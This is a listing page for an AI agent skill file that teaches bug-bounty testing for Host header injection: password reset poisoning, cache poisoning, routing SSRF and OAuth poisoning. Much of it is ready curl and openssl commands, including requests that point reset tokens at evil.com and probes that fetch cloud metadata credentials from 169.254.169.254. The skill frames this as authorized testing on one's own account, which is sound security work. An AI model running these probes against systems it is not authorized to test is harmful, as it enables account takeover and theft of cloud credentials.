Skip to content
cccskills
FreePublished on GitHub

hunt-host-header

Test how applications trust Host and forwarding headers to identify poisoned password reset links, shared cache contamination, and unintended internal requests. The skill provides validation criteria to distinguish reflected values from demonstrated security impact.

OriginalShow the original description

Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature.

See how to install

Good for

  • Checking password reset email links
  • Validating shared cache poisoning
  • Testing proxy routing and blocked paths
  • Reviewing OAuth/OIDC URL generation

Files included (1)

  • SKILL.md13.8 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

  • Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era "Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
  • Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research, James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
  • Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF (Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.


Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

  • Password reset poisoning → ATO — server builds the reset link from the request Host; attacker sets Host: evil.com; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.
  • Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
  • Routing-based SSRF — the front-end uses the Host header itself to pick the upstream; Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.
  • Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL / X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
  • OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc → auth-code or token theft → ATO.

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

Confirm: open the reset email in your own test inbox and read the link host. The token must appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into the response body (an absolute URL, script src, <link href>, <base href>, redirect Location, or canonical/og:url) and that response must be cached on a key you do not control. No Collaborator callback is expected from the cache test itself — only later, if a victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

  • A reflection that only ever appears for your request (because the header is keyed, e.g. in Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the payload on a request that omits the header.
  • Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
  • Confirm blast radius from a second machine / fresh egress IP / incognito before claiming "mass". Cache scope is often per-edge / per-cookie / per-geo.

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the request line, exactly as a normal request, because the metadata service / internal host serves plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

The old probe Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ was wrong: those two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.

Phase 4 — OAuth / OIDC / SAML Poisoning

# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

Confirm: the auth code / token must actually be delivered to the attacker host (capture on Collaborator) — a reflected string alone is not ATO.

Phase 5 — Header Fuzzing (Param Miner)

Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list below misses. Manual sweep:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

Chain Table

FindingChain toImpact
Reset link host = attacker (own test acct)Collaborator-host injection → capture token on clickCritical — ATO any user
X-Forwarded-Host reflected in absolute URL + cacheable, unkeyedPoison key → clean fetch returns payload → load XSS/redirectHigh — mass cache poisoning
Front-end routes by HostHost: 169.254.169.254 path-on-request-line → credsHigh/Critical — SSRF → cloud creds
X-Original-URL overrides pathReach /admin blocked at edgeHigh — ACL bypass / SSRF
OAuth redirect_uri/issuer built from HostRe-point flow → capture code/token on CollaboratorCritical — ATO via code theft

Validation (house discipline)

✅ Password reset: the token URL in your own test account's email uses an attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound HTTP hit carrying the token when the link is clicked/previewed (OOB capture). ✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito) still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or MISS/Age:0 only. ✅ Routing SSRF: real response body from 169.254.169.254 / internal host, or an OOB DNS/HTTP hit on your Collaborator from the front-end (blind case). ✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took. ✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured), not merely reflected.

Always rule out false positives:

  • Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check Vary, second IP).
  • A 200 echoing your Host string is not SSRF unless the response content came from the internal target or your Collaborator fired.
  • Some mailers rewrite links to a fixed SITE_URL regardless of Host — reflected header in the HTTP response does not guarantee a poisoned email; verify the email body.

Severity:

  • Reset → ATO for any user: Critical
  • Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
  • Cache poisoning → mass XSS/redirect (shared key proven): High
  • Path-override → internal/admin reach: High
  • Reflected only, uncacheable, not in email, no internal reach: Low / informational

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.

  • Inventory Android apps included in a security assessment
  • Check APKs for embedded credentials and internal API addresses
  • Review components that other apps can invoke
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

bb-local-toolkit

FreeSummary

Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.

  • Locate installed security tools and wordlists
  • Plan reconnaissance within a program's scope
  • Investigate related weaknesses and their combined impact
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

bb-methodology

FreeSummary

Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.

  • Setting objectives at the start of an investigation
  • Choosing the next step when testing stalls
  • Replanning after switching targets
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

bug-bounty

FreeSummary

Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.

  • Planning research for a new bug bounty target
  • Reviewing source code for security weaknesses
  • Testing chatbot and AI feature security
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.

  • Choose a suitable Bugcrowd vulnerability category
  • Explain a severity request using demonstrated impact
  • Respond to out-of-scope decisions
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

cloud-iam-deep

FreeSummary

Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.

  • Assess permissions granted by discovered cloud credentials
  • Review role trust and access across cloud accounts
  • Check permissions assigned to anonymous Cognito identities
elementalsouls/Claude-BugHunter5.2KUpdated Oct 21, 2026

See all skills by elementalsouls

Report a problem with this skill